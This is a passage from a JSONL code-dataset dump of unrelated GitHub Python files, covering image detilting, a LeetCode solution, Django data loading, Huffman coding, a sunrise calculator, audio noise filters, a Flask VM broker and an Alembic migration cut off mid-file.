mask = np.array([[1, 0, 0], [1, 0, 1], [0, 1, 1]], dtype=np.bool)\n >>> im, ti = detilt(img, mask=mask, mode='plane_flatten', return_tilt=True)\n >>> np.set_printoptions(suppress=True)\n >>> im\n array([[ 0.11111111, -0.66666667, -2.44444444],\n [-0.33333333, 0.88888889, 0.11111111],\n [ 0.22222222, 0.44444444, -0.33333333]])\n >>> ti\n array([[-0.11111111, 2.66666667, 5.44444444],\n [ 1.33333333, 4.11111111, 6.88888889],\n [ 2.77777778, 5.55555556, 8.33333333]])\n\n \"\"\"\n\n @_decorate_validation\n def validate_input():\n _numeric('img', 'floating', shape=(-1, -1))\n _numeric('mask', 'boolean', shape=img.shape, ignore_none=True)\n _generic('mode', 'string', value_in=('plane_flatten', 'line_flatten'))\n _numeric('degree', 'integer', range_='[1;inf)')\n _numeric('return_tilt', 'boolean')\n\n validate_input()\n\n if mode == 'line_flatten':\n tilt = _line_flatten_tilt(img, mask, degree)\n\n elif mode == 'plane_flatten':\n tilt = _plane_flatten_tilt(img, mask)\n\n if return_tilt:\n return (img - tilt, tilt)\n else:\n return img - tilt\n\n\ndef _line_flatten_tilt(img, mask, degree):\n \"\"\"\n Estimate tilt using the line flatten method.\n\n Parameters\n ----------\n img : ndarray\n The image from which the tilt is estimated.\n mask : ndarray, or None\n If not None, a bool ndarray of the the shape as `img` indicating which\n pixels should be used in estimate of tilt.\n degree : int\n The degree of the polynomial in the estimated line tilt.\n\n Returns\n -------\n tilt : ndarray\n The estimated tilt.\n\n \"\"\"\n\n m, n = img.shape\n x = np.arange(n)\n\n # Shapes of matrices used in the detilting:\n # vander.shape=(n, degree+1), coef.shape=(degree+1, len(m_masked))\n vander = np.fliplr(np.vander(x, degree + 1)) # [1, x, x**2, ...]\n\n if mask is not None:\n tilt = np.zeros_like(img)\n for l in range(m):\n if mask[l, :].sum() >= degree + 1: # Skip if underdetermined\n coef, res, rank, s = np.linalg.lstsq(vander[mask[l, :]],\n img[l, mask[l, :]])\n tilt[l, :] = vander.dot(coef).T\n\n else:\n coef, res, rank, s = np.linalg.lstsq(vander, img.T)\n tilt = vander.dot(coef).T\n\n return tilt\n\n\ndef _plane_flatten_tilt(img, mask):\n \"\"\"\n Estimate tilt using the plane flatten method.\n\n Parameters\n ----------\n img : ndarray\n The image from which the tilt is estimated.\n mask : ndarray, or None\n If not None, a bool ndarray of the the shape as `img` indicating which\n pixels should be used in estimate of tilt.\n\n Returns\n -------\n tilt : ndarray\n The estimated tilt.\n\n \"\"\"\n\n m, n = img.shape\n x = np.arange(n)\n y = np.arange(m)\n Y = np.tile(y, n)\n X = np.repeat(x, m)\n\n # ----------> x-axis (second numpy axis)\n # |\n # | image\n # |\n # v\n #\n # y-axis (first numpy axis)\n\n # Plane equation: by + ax + c = z\n Q = np.column_stack([Y, X, np.ones(X.shape[0])]) # [y, x, 1]\n img_as_vec = magni.imaging.mat2vec(img) # image values corresponding to z\n\n if mask is not None:\n mask = magni.imaging.mat2vec(mask).ravel()\n Q_mask = Q[mask]\n img_as_vec_mask = img_as_vec[mask]\n else:\n Q_mask = Q\n img_as_vec_mask = img_as_vec\n\n # Least squares solve: [Y, X, 1] [b, a, c].T = img_as_vec\n coef, res, rank, s = np.linalg.lstsq(Q_mask, img_as_vec_mask)\n\n z = Q.dot(coef)\n tilt = magni.imaging.vec2mat(z.reshape(m * n, 1), (m, n))\n\n return tilt\n","repo_name":"SIP-AAU/Magni","sub_path":"magni/imaging/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"52"} +{"seq_id":"34113392311","text":"class Solution:\r\n # use a dp array to store the possible sequence\r\n # use binary search to locate where num should be inserted\r\n # if right > len(dp), append num to the end of dp\r\n # else replace dp[right] with num\r\n # Note: the final result in dp is not necessarily a valid sequence, but the length is correct\r\n def lengthOfLIS(self, nums: List[int]) -> int:\r\n dp = []\r\n for num in nums:\r\n left, right = 0, len(dp)\r\n while left < right:\r\n mid = left + (right - left) // 2\r\n if dp[mid] < num:\r\n left = mid + 1\r\n else:\r\n right = mid\r\n if right == len(dp):\r\n dp.append(num)\r\n else:\r\n dp[right] = num\r\n return len(dp)\r\n ","repo_name":"HaoboChen1887/leetcode","sub_path":"binary_search/300_longest_increasing_subsequence/300.py","file_name":"300.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29925532968","text":"import pandas as pd\nfrom datetime import datetime\n# fwrite = open('prueba.txt', 'w')\n\n\ndef load_data(Cancion, Artista, Instrumento, Label, BandasSimilares):\n data = pd.read_csv(\"prueba_back_monoku_2021_datos.csv\")\n df = pd.DataFrame(data)\n df = pd.read_csv('prueba_back_monoku_2021_datos.csv')\n df = df.to_dict('records')\n for i in df:\n datos_cancion = {\n 'fecha': datetime.strptime(i['FECHA'], '%Y-%m-%d %H:%M:%S'),\n 'id_externo': i['ID_EXTERNO'],\n 'nombre': i['NOMBRE'],\n 'album': i['ALBUM'],\n 'banda': i['BANDA'],\n 'duracion': i['DURACION'],\n 'genero': i['GENERO'],\n 'subgenero': i['SUBGENERO']\n }\n\n cancion = Cancion.objects.create(**datos_cancion)\n\n datos_artista = {\n 'nombre': i['ARTISTA'],\n 'cancion': cancion\n }\n Artista.objects.create(**datos_artista)\n for banda_similar in i['BANDAS_SIMILARES'].split(';'):\n datos_bandas_similares = {\n 'nombre': banda_similar,\n 'cancion': cancion\n }\n BandasSimilares.objects.create(**datos_bandas_similares)\n for instrumento in i['INSTRUMENTOS'].split(';'):\n datos_instrumento = {\n 'nombre': instrumento,\n 'cancion': cancion\n }\n Instrumento.objects.create(**datos_instrumento)\n for label in i['LABELS'].split(';'):\n datos_label = {\n 'nombre': label,\n 'cancion': cancion\n }\n Label.objects.create(**datos_label)\n","repo_name":"Cesar-2/monoku_back","sub_path":"api/helpers/load_data_to_database.py","file_name":"load_data_to_database.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32345005052","text":"from django.contrib import admin\nfrom prizetap.models import *\nfrom core.admin import UserConstraintBaseAdmin\n\n\nclass RaffleAdmin(admin.ModelAdmin):\n list_display = [\"pk\", \"name\", \"creator_name\"]\n\nclass RaffleٍEntryAdmin(admin.ModelAdmin):\n list_display = [\n \"pk\", \n \"raffle\", \n \"get_wallet\",\n \"age\",\n ]\n\n @admin.display(ordering='user_profile__wallets', description='Wallet')\n def get_wallet(self, obj):\n return obj.user_profile.wallets.get(wallet_type=NetworkTypes.EVM).address\n\nclass LineaRaffleEntriesAdmin(admin.ModelAdmin):\n list_display = [\n \"pk\",\n \"wallet_address\",\n \"is_winner\"\n ]\n\n\n\nadmin.site.register(Raffle, RaffleAdmin)\nadmin.site.register(RaffleEntry, RaffleٍEntryAdmin)\nadmin.site.register(Constraint, UserConstraintBaseAdmin)\nadmin.site.register(LineaRaffleEntries, LineaRaffleEntriesAdmin)\n","repo_name":"UnitapApp/unitap-backend","sub_path":"prizetap/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"52"} +{"seq_id":"6225567727","text":"import glob\nimport errno\nimport heapq\n\n# Characters ranging from 32->126 and line-feed (#10)\nnumOfChars = 96\n\n\n# Define class to hold contents of Huffman node\nclass HuffmanNode:\n def __init__(self, char, freq):\n self.char = char\n self.freq = freq\n self.left = None\n self.right = None\n\n def __lt__(self, other):\n return self.freq < other.freq\n\n\n# Initialize array to be used for min heap\nasciiFrequencies = []\nfor i in range(numOfChars):\n asciiFrequencies.append(0)\n\n\n# Define character frequency function\ndef charFrequency(files):\n for fileName in files:\n try:\n with open(fileName) as f:\n while True:\n c = f.read(1)\n if not c:\n break\n if ord(c) == 10:\n asciiFrequencies[0] = asciiFrequencies[0] + 1\n asciiFrequencies[ord(c) - 31] = asciiFrequencies[ord(c) - 31] + 1\n except IOError as exc:\n if exc.errno != errno.EISDIR:\n raise\n\n\n# Function to read text files\ndef DictionaryReads(pathIn):\n fileList = glob.glob(pathIn)\n charFrequency(fileList)\n\n\n# Read each canonical set\nDictionaryReads('C:/Users/andre/PycharmProjects/HuffmanCoding/File1ASCII.txt')\n\n# Create list of Huffman Node Objects for each ASCII character\nnodeList = []\nnodeList.append(HuffmanNode(chr(10), asciiFrequencies[0]))\nfor i in range(numOfChars):\n nodeList.append(HuffmanNode(chr(i + 31), asciiFrequencies[i]))\n\n# Heap sort the list of node objects\nobjectHeap = []\nfor node in nodeList:\n heapq.heappush(objectHeap, node)\n\n# Create basis for Huffman Tree Structure by assigning parents and children\nwhile len(objectHeap) > 1:\n node1 = heapq.heappop(objectHeap)\n node2 = heapq.heappop(objectHeap)\n merged = HuffmanNode(None, node1.freq + node2.freq)\n merged.left = node1\n merged.right = node2\n heapq.heappush(objectHeap, merged) # Push merged node back into object heap\n\n# Initialize the Code List\ncodeList = []\nfor i in range(numOfChars):\n codeList.append(0)\n# Used for decoding\nreverseCodeList = []\nfor i in range(numOfChars):\n reverseCodeList.append(0)\n# Initialize the Huffman Code\ncurrentHuffCode = \"\"\n# Take the final object from the heap as the parent node\nroot = heapq.heappop(objectHeap)\n\n\n# Create code list array\ndef makeCode(rootNode, code):\n if rootNode is None:\n return\n if rootNode.char is not None:\n if ord(rootNode.char) == 10:\n codeList[0] = code\n else:\n codeList[ord(rootNode.char) - 31] = code\n makeCode(rootNode.left, code + \"0\")\n makeCode(rootNode.right, code + \"1\")\n\n\nmakeCode(root, currentHuffCode)\n\n# Load text file with codes for each ASCII char\ndummy = 0\nfile = open(\"Part1_asciiFrequencies.txt\", \"w+\")\nfile.write(\"{} {}\\n\".format(10, codeList[0]))\nfor item in codeList[1:]:\n file.write(\"{} {}\\n\".format((dummy + 32), item))\n dummy = dummy + 1\nfile.close()\n\ncodeDictionary = []\n# Load code dictionary from text file\nwith open('C:/Users/andre/PycharmProjects/HuffmanCoding/Part1_asciiFrequencies.txt') as textFile:\n for line in textFile:\n codeDictionary.append(line.split(' ')[1])\n\n# Code array will now contain each bit sequence without /n char\nfor i in range(96):\n codeDictionary[i] = codeDictionary[i].rstrip()\n\n# Determine file to encode\npathToEncode = 'C:/Users/andre/PycharmProjects/HuffmanCoding/' + str(input('File name to encode: '))\nprint(pathToEncode)\n# Clear output text file that will be written to\nencodeOutput = 'C:/Users/andre/PycharmProjects/HuffmanCoding/TestOutput.txt'\nopen(encodeOutput, 'w').close()\n\n# Encode Text (edited for part two to only open and read file once at beginning, and write to a file at the end)\nwith open(pathToEncode) as f:\n while True:\n c = f.read(1)\n if not c:\n print(\"End of file\")\n break\n with open(encodeOutput, 'r') as infile:\n if ord(c) == 10:\n data = infile.read() + codeDictionary[0]\n else:\n data = infile.read() + codeDictionary[ord(c) - 31]\n with open(encodeOutput, 'w') as outfile:\n outfile.write(data)\n\npathToDecode = 'C:/Users/andre/PycharmProjects/HuffmanCoding/' + str(input('File name to decode: '))\nprint(pathToDecode)\nwith open(pathToDecode, 'r')as myFile:\n bitString = myFile.read()\nopen(pathToDecode, 'w').close()\n\nrootNode = root\nwhile len(bitString) > 0:\n if rootNode.char is not None:\n with open(pathToDecode, 'r') as decodeFileIn:\n decodeText = decodeFileIn.read()\n decodeText = decodeText + rootNode.char\n with open(pathToDecode, 'w') as decodeFileOut:\n decodeFileOut.write(decodeText)\n rootNode = root\n elif bitString[0] == '0':\n rootNode = rootNode.left\n bitString = bitString[1:]\n elif bitString[0] == '1':\n rootNode = rootNode.right\n bitString = bitString[1:]\n\n# TestOutput.txt File2ASCII.txt\n","repo_name":"andrewsimonds14/UniversityProgramming","sub_path":"Algorithms-CMPE365/HuffmanCoding/Part1_Huffman.py","file_name":"Part1_Huffman.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71114615206","text":"from math import cos,sin,acos,asin,tan\r\nfrom math import degrees as deg, radians as rad\r\nfrom datetime import date,datetime,time\r\n\r\nfrom Settings import Settings\r\n\r\nclass Sun:\r\n\t# Defaults the sun calculator to Stockholm\r\n\tdef __init__(self):\r\n\t\tself.lat=Settings.latitude\r\n\t\tself.long=Settings.longitude\r\n\r\n\tdef sunrise(self,when=None):\r\n\t\twhen = datetime.now()\r\n\t\t\r\n\t\tself.__preptime(when)\r\n\t\tself.__calc()\r\n\t\t\r\n\t\treturn Sun.__timefromdecimalday(self.sunrise_t)\r\n\r\n\tdef sunset(self,when=None):\r\n\t\twhen = datetime.now()\r\n\t\t\r\n\t\tself.__preptime(when)\r\n\t\tself.__calc()\r\n\t\t\r\n\t\treturn Sun.__timefromdecimalday(self.sunset_t)\r\n\r\n\t@staticmethod\r\n\tdef __timefromdecimalday(day):\r\n\t\thours = 24.0 * day\r\n\t\th = int(hours)\r\n\t\tminutes= (hours - h) * 60\r\n\t\tm = int(minutes)\r\n\t\tseconds= (minutes - m) * 60\r\n\t\ts = int(seconds)\r\n\r\n\t\treturn datetime.today().replace(hour = h, minute = m, second = 0, microsecond = 0)\r\n\r\n\tdef __preptime(self,when):\r\n\t\t\"\"\"\r\n\t\tExtract information in a suitable format from when, \r\n\t\ta datetime.datetime object.\r\n\t\t\"\"\"\r\n\t\tself.day = when.toordinal() - (734124 - 40529)\r\n\t\tt = when.time()\r\n\t\tself.time = (t.hour + t.minute / 60.0 + t.second / 3600.0) / 24.0\r\n \r\n\t\tself.timezone = 0\r\n\t\toffset = when.utcoffset()\r\n\t\tif not offset is None:\r\n\t\t\tself.timezone = offset.seconds / 3600.0\r\n\r\n\tdef __calc(self):\r\n\t\t\"\"\"\r\n\t\tPerform the actual calculations for sunrise, sunset and\r\n\t\ta number of related quantities.\r\n\r\n\t\tThe results are stored in the instance variables\r\n\t\tsunrise_t, sunset_t and solarnoon_t\r\n\t\t\"\"\"\r\n\t\ttimezone = self.timezone # in hours, east is positive\r\n\t\tlongitude= self.long # in decimal degrees, east is positive\r\n\t\tlatitude = self.lat # in decimal degrees, north is positive\r\n\r\n\t\ttime \t = self.time \t# percentage past midnight, i.e. noon is 0.5\r\n\t\tday = self.day # daynumber 1=1/1/1900\r\n\r\n\t\tJday = day + 2415018.5 + time - timezone / 24 # Julian day\r\n\t\tJcent = (Jday - 2451545) / 36525 # Julian century\r\n\r\n\t\tManom = 357.52911 + Jcent * (35999.05029 - 0.0001537 * Jcent)\r\n\t\tMlong = 280.46646 + Jcent * (36000.76983 + Jcent * 0.0003032) % 360\r\n\t\tEccent = 0.016708634 - Jcent * (0.000042037 + 0.0001537 * Jcent)\r\n\t\tMobliq = 23 + (26 + ((21.448 - Jcent * (46.815 + Jcent * (0.00059 - Jcent * 0.001813)))) / 60) / 60\r\n\t\tobliq = Mobliq + 0.00256 * cos(rad(125.04 - 1934.136 * Jcent))\r\n\t\tvary = tan(rad(obliq / 2)) * tan(rad(obliq / 2))\r\n\t\tSeqcent = sin(rad(Manom)) * (1.914602 - Jcent * (0.004817 + 0.000014 * Jcent)) + sin(rad(2 * Manom)) * (0.019993 - 0.000101 * Jcent) + sin(rad(3 * Manom)) * 0.000289\r\n\t\tStruelong= Mlong + Seqcent\r\n\t\tSapplong = Struelong - 0.00569 - 0.00478 * sin(rad(125.04 - 1934.136 * Jcent))\r\n\t\tdeclination = deg(asin(sin(rad(obliq)) * sin(rad(Sapplong))))\r\n\r\n\t\teqtime = 4 * deg(vary * sin(2 * rad(Mlong)) - 2 * Eccent * sin(rad(Manom)) + 4 * Eccent * vary * sin(rad(Manom)) * cos(2 * rad(Mlong)) - 0.5 * vary * vary * sin(4 * rad(Mlong)) - 1.25 * Eccent * Eccent * sin(2 * rad(Manom)))\r\n\r\n\t\thourangle = deg(acos(cos(rad(90.833)) / (cos(rad(latitude)) * cos(rad(declination))) - tan(rad(latitude)) * tan(rad(declination))))\r\n\r\n\t\tself.solarnoon_t = (720 - 4 * longitude - eqtime + timezone * 60) / 1440\r\n\t\tself.sunrise_t = self.solarnoon_t - hourangle * 4 / 1440\r\n\t\tself.sunset_t = self.solarnoon_t + hourangle * 4 / 1440","repo_name":"icanos/lightswitch","sub_path":"Sun.py","file_name":"Sun.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"70668069285","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\neps = 0.000001\ndef compensate_ref_ch_filter(stft_main, stft_ref, alfa = .75):\n\n \"\"\"\n ADAPTIVE FREQUENCY COMPENSATOR\n\n Model:\n X1(f, t) = N(f, t)\n X2(f, t) = S(f, t) + N(f, t)W(f, t)\n\n Result:\n E(f, t) = X2(f, t) – H(f, t) X1(f, t)\n\n Algorithm:\n Ho(f, t) = /<|X1(f, t)|^2> = P12(f, t)/P11(f, t)\n P12(f, t) = (1- alfa) P12(f, t -1) + alfa X1 (f, t) X2* (f, t)\n P11(f, t) = (1- alfa) P22(f, t -1) + alfa |X1(f, t)|^2\n\n :stft_main: - spectr X1 - shape (bins, frames)\n :stft_ref: - spectr X2 - shape (bins, frames) \n :alfa: - smooth factor, range: 0 .. 1\n\n :return: \n output - result compensate - shape (bins, frames) \n \"\"\"\n\n (bins, frames) = stft_main.shape\n\n if stft_main.ndim != 2 or stft_ref.ndim != 2:\n raise ValueError('compensate_ref_ch_filter: error stft_main.ndim = {} stft_ref.ndim = {}'.format(stft_main.ndim, stft_ref.ndim))\n\n if (bins != stft_ref.shape[0] or frames != stft_ref.shape[1]):\n raise ValueError('compensate_ref_ch_filter: error stft_ref.shape = {}'.format(stft_ref.shape))\n\n output = np.zeros((bins, frames), dtype=np.complex) \n\n P_MR = np.zeros((bins, frames), np.complex)\n P_RR = np.zeros((bins, frames), np.float)\n #TODO proper init\n\n for frame_ind in range(0, frames):\n for freq_ind in range(0, bins):\n# P_MR[freq_ind, frame_ind ] = alfa * P_MR[freq_ind, frame_ind - 1] + (1.0 - alfa) * stft_main[freq_ind, frame_ind] * np.conjugate(stft_ref[freq_ind, frame_ind])\n# P_RR[freq_ind, frame_ind ] = alfa * P_RR[freq_ind, frame_ind - 1] + (1.0 - alfa) * np.real(stft_ref[freq_ind, frame_ind] * np.conjugate(stft_ref[freq_ind, frame_ind]))\n\n P_MR[freq_ind, frame_ind ] = alfa * P_MR[freq_ind, frame_ind - 1] + (1.0 - alfa) * stft_ref[freq_ind, frame_ind] * np.conjugate(stft_main[freq_ind, frame_ind])\n P_RR[freq_ind, frame_ind ] = alfa * P_RR[freq_ind, frame_ind - 1] + (1.0 - alfa) * np.real(stft_ref[freq_ind, frame_ind] * np.conjugate(stft_ref[freq_ind, frame_ind]))\n\n # # Dump debugging info.\n # if frame_ind % 50 == 0:\n # print ('')\n # print ('Sample %d' %(frame_ind))\n # abs_P_MR = abs(P_MR[:, frame_ind ])\n # abs_P_RR = abs(P_RR[:, frame_ind ])\n # abs_H = abs_P_MR / (abs_P_RR + 0.0001)\n # print ('||abs_H|| = {}'.format(abs_H))\n\n\n H = P_MR / (P_RR + eps)\n\n result = stft_main - H * stft_ref \n return result\n\n \n\n\ndef spectral_substract_filter(stft_main, stft_ref, alfa_PX = 0.01, alfa_PN = 0.99):\n\n \"\"\"\n spectral subtraction filter\n\n :stft_main: - spectr main signal - shape (bins, frames)\n :stft_ref: - spectr ref signal - shape (bins, frames) \n :alfa_PX: - smooth factor, range: 0 .. 1\n :alfa_PN: - smooth factor, range: 0 .. 1\n\n :return: \n output - spectral subtraction compensate - shape (bins, frames) \n \"\"\"\n\n X_mag = np.absolute(stft_main)\n N_mag = np.absolute(stft_ref)\n\n PX = X_mag**2\n PN = N_mag**2\n\n def exp_average(X, Alpha):\n nLen = X.shape[0]\n\n Y = np.zeros(X.shape)\n for i in range(0, nLen - 1, 1):\n Y[i+1,:] = Alpha*Y[i,:] + (1-Alpha)*X[i+1]\n return Y\n\n PX = exp_average(PX, alfa_PX) # 0 .. 0.5\n PN = exp_average(PN, alfa_PN) # 0.5 .. 1\n\n # Wiener filter\n alfa = 0.5\n beta = 1.0\n gamma = 1.0\n Gain = np.maximum(1.0 - (PN/(PX + eps)*gamma)**beta, 0.001)**alfa\n\n result = stft_main*Gain\n return result\n\n\ndef spectral_substract_ref_psd_filter(stft_main, ref_psd, alfa_PX = 0.01, alfa_PN = 0.99):\n\n \"\"\"\n spectral subtraction filter\n\n :stft_main: - spectr main signal - shape (bins, frames)\n :ref_psd: - psd ref signal - shape (bins, frames)\n :alfa_PX: - smooth factor, range: 0 .. 1\n :alfa_PN: - smooth factor, range: 0 .. 1\n\n :return:\n output - spectral subtraction compensate - shape (bins, frames)\n \"\"\"\n\n X_mag = np.absolute(stft_main)\n\n PX = X_mag**2\n PN = ref_psd\n\n def exp_average(X, Alpha):\n nLen = X.shape[0]\n\n Y = np.zeros(X.shape)\n for i in range(0, nLen - 1, 1):\n Y[i+1,:] = Alpha*Y[i,:] + (1-Alpha)*X[i+1]\n return Y\n\n PX = exp_average(PX, alfa_PX) # 0 .. 0.5\n PN = exp_average(PN, alfa_PN) # 0.5 .. 1\n\n # Wiener filter\n alfa = 0.5\n beta = 1.0\n gamma = 1.0\n Gain = np.maximum(1.0 - (PN/(PX + eps)*gamma)**beta, 0.01)**alfa\n\n result = stft_main*Gain\n return result\n\n\ndef smb_filter(stft_main, stft_ref, gain_max=18):\n \"\"\"\n spectral subtraction filter\n\n :stft_main: - spectr main signal - shape (bins, frames)\n :stft_ref: - spectr ref signal - shape (bins, frames)\n :gain_max: -\n\n :return:\n output - spectral subtraction compensate - shape (bins, frames)\n \"\"\"\n bins, frames = stft_main.shape\n W = np.ones(shape=(bins, frames))\n\n p_main = np.absolute(stft_main)\n p_ref = np.absolute(stft_ref)\n\n # alpha\n release_coeff = 1 - 0.033\n # beta\n attack_coeff = 1 + 0.033\n\n # W_max = 0.1\n stft_new = np.zeros(shape=stft_main.shape, dtype=np.complex)\n\n c = 1\n\n gain_min = 10 ** (-0.05*gain_max)\n for i in range(1, frames):\n\n w_buffer = np.ones(bins)\n ref_power = 0\n for j in range(0, bins):\n ref_power += p_ref[j, i]**2\n n_current = W[j, i-1]*p_ref[j, i]\n\n if p_main[j, i] > n_current:\n w_buffer[j] = attack_coeff*W[j, i-1]\n elif p_main[j, i] < n_current * release_coeff:\n w_buffer[j] = release_coeff*W[j, i-1]\n\n # W[j, i] = min(W_max, W[j, i])\n p_s = p_main[j, i] - n_current\n snr = p_s/(n_current + 1e-6)\n gain = c * snr**2\n GAIN = min(1, max(gain_min, gain))\n stft_new[j, i] = stft_main[j, i]*GAIN\n\n if ref_power > 100:\n W[:, i] = w_buffer\n\n return stft_new","repo_name":"alexdoberman/ma","sub_path":"ma_py/mic_py/mic_adaptfilt.py","file_name":"mic_adaptfilt.py","file_ext":"py","file_size_in_byte":6145,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"1058274281","text":"import collections\nimport json\nimport logging\nimport pickle\nimport unittest\n\nimport numpy as np\n\nimport ontomatch.evaluate\nimport ontomatch.utils.util\n\nPATH_MATCHES_PP_DEU = './data/power_plant_DEU/matches_power_plant_DEU.csv'\nPATH_CONF_PP_DEU_AUTO = './tests/conf/conf_power_plant_DEU_auto.json'\nPATH_CONF_PP_DEU_AUTO_GEO = './tests/conf/conf_power_plant_DEU_auto_geo.json'\nPATH_CONF_PP_DEU_XGB = './tests/conf/conf_power_plant_DEU_xgb.json'\nPATH_CONF_PP_DEU_WEIGHT = './tests/conf/conf_power_plant_DEU_weight.json'\n\nclass TestCaseOntoMatch(unittest.TestCase):\n\n def setUp(self):\n print()\n ontomatch.utils.util.init_logging()\n np.random.seed(1)\n\n def load_kwl_gppd_ontologies(self):\n with open('./data/power_plant_DEU/kwl.pkl','rb') as file:\n src_onto = pickle.load(file)\n with open('./data/power_plant_DEU/gppd_DEU.pkl','rb') as file:\n tgt_onto = pickle.load(file)\n return src_onto, tgt_onto\n\n def load_kwl_with_geo_coordinates_gppd_ontologies(self):\n with open('./data/power_plant_DEU/kwl_geo.pkl','rb') as file:\n src_onto = pickle.load(file)\n with open('./data/power_plant_DEU/gppd_DEU.pkl','rb') as file:\n tgt_onto = pickle.load(file)\n return src_onto, tgt_onto\n\n def read_params(self, file, symmetric=False):\n with open(file) as json_config:\n params = json.load(json_config, object_pairs_hook=collections.OrderedDict)\n # don't dump score files when running tests\n params['post_processing']['dump'] = None\n if symmetric:\n params['matching']['model_specific']['symmetric'] = True\n return params\n\n def read_kwl_gppd_DEU_matching_file(self):\n matchfile = PATH_MATCHES_PP_DEU\n index_set_matches = ontomatch.evaluate.read_match_file_as_index_set(matchfile, linktypes = [1, 2, 3, 4, 5])\n logging.info('ground truth matches=%s', len(index_set_matches))\n return index_set_matches\n","repo_name":"xinhhh/capstone","sub_path":"Agents/OntoMatchAgent/tests/utils_for_testing.py","file_name":"utils_for_testing.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71650709924","text":"class Customer():\n def set_name(self, new_name):\n self.name = new_name\n def identify(self):\n print('I am a customer ' + self.name)\n def set_salary(self, new_salary):\n self.salary = new_salary\n\n def give_raise(self, amount):\n try:\n self.salary = self.salary + amount\n except:\n print('He is a cat')\n\ncust = Customer()\ncust.set_name('Lia')\ncust.identify()\ncust.set_salary(5000)\nprint(cust.salary)\ncust.give_raise(1000)\nprint(cust.salary)\n\ncust2 = Customer()\ncust2.set_name('Nexi')\ncust2.identify()\ncust2.set_salary(\"he doesn't need salary\")\ncust2.give_raise(1000)\nprint(cust2.salary)\n\nfrom datetime import datetime\n\nclass Empleado:\n def __init__(self, nombre, salario=0):\n self.nombre = nombre\n if salario >= 0:\n self.salario = salario\n else:\n self.salario = 0\n print(\"Invalido\")\n self.hiredate = datetime.today()\n\n def give_raise2(self, amount2):\n self.salario += amount2\n\n def monthly_salary2(self):\n return self.salario / 12\n\n\n\nemp = Empleado(\"Eli\", -1000)\nprint(emp.nombre)\nprint(emp.salario)\nprint(emp.hiredate)\n\n#####\nclass Emp:\n MIN_SAL = 30000\n def __init__(self, name, salary):\n self.name = name\n if salary >= Emp.MIN_SAL:\n self.salary = salary\n else:\n self.salary = Emp.MIN_SAL\n@classmethod\ndef from_file(cls, filename):\n with open(filename, 'r') as f:\n name = f.readline()\n return cls(name)\n","repo_name":"liatovizi/Python_practice","sub_path":"oop1.py","file_name":"oop1.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37332369959","text":"from flask import Flask, request, jsonify\r\nfrom bson import json_util\r\nimport bson\r\nfrom tinydb import TinyDB, Query\r\n\r\napp = Flask(__name__)\r\ndb = TinyDB('db.json')\r\nUser = Query()\r\n\r\nvm_id = 0\r\n\r\nPROV_URL = 'http://127.0.0.1:5000/'\r\n@app.route('/')\r\ndef main():\r\n return db\r\n\r\n@app.route('/provedor/cadastrar/',methods=['POST'])\r\ndef init_provedor(provider_id):\r\n global vm_id\r\n data = request.get_json()\r\n db.insert(\r\n {\r\n 'vm_id': str(vm_id),\r\n 'provider_id': provider_id,\r\n 'vcpu': data['vcpu'],\r\n 'ram': data['ram'],\r\n 'hd': data['hd'],\r\n 'preco': data['preco'],\r\n 'usando': 'false'\r\n })\r\n\r\n vm_id = vm_id + 1\r\n return jsonify({'Ok': True})\r\n\r\n@app.route('/search',methods=['POST'])\r\ndef search_vm():\r\n data = request.get_json()\r\n provider = []\r\n busca = db.search((User.vcpu == data['vcpu']) &\r\n (User.ram == data['ram']) &\r\n (User.hd == data['hd']) &\r\n (User.usando == 'false'))\r\n\r\n if (busca):\r\n min_price = int(busca[0]['preco'])\r\n provider = busca[0]\r\n for item in busca:\r\n if (int(item['preco']) < min_price):\r\n min_price = int(item['preco'])\r\n provider = item\r\n\r\n return bson.json_util.dumps(provider)\r\n\r\n@app.route('/release',methods=['POST'])\r\ndef release_vm():\r\n data = request.get_json()\r\n busca = []\r\n busca = db.search((User.vm_id == data['vm_id']) &\r\n (User.usando == 'true'))\r\n\r\n db.update({'usando': 'false'}, User.vm_id == data['vm_id'])\r\n\r\n return bson.json_util.dumps(busca)\r\n\r\n@app.route('/use',methods=['POST'])\r\ndef use_vm():\r\n data = request.get_json()\r\n db.update({'usando': 'true'}, User.vm_id == data['vm_id'])\r\n data['usando'] = 'true'\r\n\r\n return bson.json_util.dumps(data)","repo_name":"CarlosTadeu/CloudBroker","sub_path":"cloudBroker.py","file_name":"cloudBroker.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29125457119","text":"\"\"\"New Migration\n\nRevision ID: 7ae7d0980f1f\nRevises: \nCreate Date: 2022-06-29 13:47:13.527106\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '7ae7d0980f1f'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('author',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(), nullable=True),\n sa.Column('age', sa.Integer(), nullable=True),\n sa.Column('time_created', sa.DateTime(timezone=True), server_default=sa.text('now()'), nullable=True),\n sa.Column('time_updated', sa.DateTime(timezone=True), nullable=True),\n 